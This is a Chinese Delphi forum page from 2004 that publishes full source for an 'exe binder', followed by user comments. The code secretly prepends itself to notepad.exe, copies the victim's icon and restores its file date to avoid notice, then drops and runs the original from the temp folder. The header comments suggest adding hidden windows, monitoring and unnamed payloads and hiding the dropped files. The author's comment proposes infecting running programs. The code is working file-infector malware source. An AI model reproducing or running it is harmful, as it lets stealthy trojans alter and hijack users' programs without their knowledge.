捐赠 | 广告 | 注册 | 发布 | 上传 | 关于我们    
  沪ICP备05001939号 DELPHI盒子 | 盒子论坛 | 盒子文章 | 盒子问答悬赏 | 最新更新 | 论坛检索 | 下载中心 | 高级搜索    
  精品专区 | 繁體中文 | 奖励公告栏 | 直通车账号登陆 | 关闭GOOGLE广告 | 临时留言    
盒子资源分类
全部展开 - 全部合拢
捆绑执行文件演示文档
关键字:捆绑 exe selfmodify Stream 文件流
来 自:原创
平 台:Win2k/NT 下载所需:0 火柴
深浅度:初级 完成时间:2004/2/3
发布者:dfw@87362 发布时间:2004/2/4
编辑器:DELPHI5 语  种:简体中文
分 类:不常用 下载浏览:234/10653
加入到我的收藏
下载错误报错
登陆以后才能下载
 用户名:
 密 码:
自动登陆(30天有效)
无图片
{
**********************捆绑执行文件**********************
**********************参考selfmodify--exe文件自修改*****
与其它程序捆绑后,图标为其它程序的图标.日期不变
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

程序中几个数字的确定:
1  在本程序编译后用Aspack.Exe压缩,大小为41472
2  经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。不过我喜欢用自己的东西。
}
program exe2;

uses
  classes,
  Tlhelp32,
  windows,
  graphics,
  ShellAPI,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s: string);
var
  s1,s2,IcoStream:TMemoryStream;
  File2:TFilestream;
  ch:array[0..1] of char;
  ss:string;
  filetime,fhandle:integer;
  l:integer;
  File2Icon:Ticon;
begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
    {若文件不含图标,就不捆绑}
    File2Icon:=Ticon.Create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
      File2Icon.Free;
      exit;
    end
    else
    begin
       {提取被捆绑程序图标}
       File2Icon.Handle:=extracticon(handle,pchar(s),0);
       IcoStream:=TMemoryStream.Create;
       File2Icon.SaveToStream(IcoStream);
       File2Icon.Free;
    end;
    {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
    File2:=TFilestream.Create(s,fmopenread);
    if File2.Size>MySize then
    begin
      File2.Position:=MySize;
      File2.Read(ch,2);
      ss:=copy(ch,1,2);
      if ss='MZ' then
      begin
        File2.Free;
        exit;
      end;
    end;
    File2.Free;
    {将本文件与文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    {
    加入本程序的前部40751字节
    第40752字节开始共640字节为图标数据
    !!以下数字 40751,81要根据实际情况修改!!
     }
    s1.copyfrom(s2,40751);
    {将图标换为被捆绑程序图标,图标大小为766}
    IcoStream.Position:=126;
    s1.CopyFrom(IcoStream,640);
    IcoStream.Free;
    s2.Position:=40751+640;
    {加入本程序的后部81字节}
    s1.CopyFrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    {加入被捆绑程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢复文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
    s1.Free;
    exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  try
    {
    把文件释放到临时目录。
    如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
    如 c:\windows(or winnt)\downl...(☆这是个什么目录?你去研究研究吧!☆)
    }
    s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));
  except end;
    cmdstr:=';
    a:=1;
    while ParamStr(a)<>' do begin
      cmdstr:=cmdstr+ParamStr(a)+' ';
      inc(a);
    end;
  {运行真正的程序文件}
  winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:=';
  while found do
  begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
    found:=Process32Next(handle,lppe);
  end;
  {如果notepad没运行,就与它捆在一起}
  if pos(WinDir+'\notepad.exe',ProcessStr)=0 then
  begin
    copy2(WinDir+'\notepad.exe');
  end;
  {其它需要捆绑的文件
  if pos(...,ProcessStr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用这个程序干点其它的什么...
  }
  CreateFileAndRun;{释放文件并带参数运行}
end.
Google
 
本站原创作品,未经作者许可,严禁任何方式转载;转载作品,如果侵犯了您的权益,请联系我们
龙脉加密锁 15元起 Grid++Report 报表 申请支付@网
 相关文章
没有相关文章
相关评论
共有评论9条 当前显示最后6条评论
dfw@87362 2004/2/5 18:43:54
这个程序我最早在csdn上发表.用户名为ggbbhh。
后来好象在dfw上发表过。
在dfw上我的第一个名字为111222。老有人问你是不是csdn上的111222。我不是。所以注册了另一个名字gbh,111222就不用了。
关于本程序的完善:
1 图标。当时编此程序时,还不知道提取超过16色图标的方法。不过现在搞懂了,对图标文件的结构也了解了。但步骤比较多。要用到EnumResourceNames,FindResource,LoadResource,LockResource...。用了这些后程序又不知要大多少。
2 感染正在运行的程序。先终止程序的运行,再捆绑,然后启动。
谁感兴趣谁就来完善吧。
编这样的东西只能搏大家一笑,又不能骗几块稿费,真痛苦。

ccccu78 2004/2/10 8:18:43
hehe, weiqu a
抄袭? 对程序员来说, 抄袭是它的必修课
inrm 2004/2/19 11:55:48
同意ccccu78的意见。只要觉得对大家有帮助,大可以将从别处“抄袭”来的代码贴上来!
bbsxwk 2004/4/12 18:11:56
完全同意
如果代码不能共享的话何必搞什么开放源代码
每个人的思维方式是不同的
而且每个人的知识层次也不同
吸其金华去其糟粕不是这样吗?
sail2000 2004/11/5 13:50:44
M$也是抄袭MAC的!抄袭?能提高自己的技术,管它呢!只要没人告就OK了!
wukailing2005 2006/8/31 20:33:58
呀,要是有例子就好了
我要发表评论 查看全部评论
 
  DELPHI盒子版权所有 1999-2012 V3.01 沪ICP备05001939号 更新RSS列表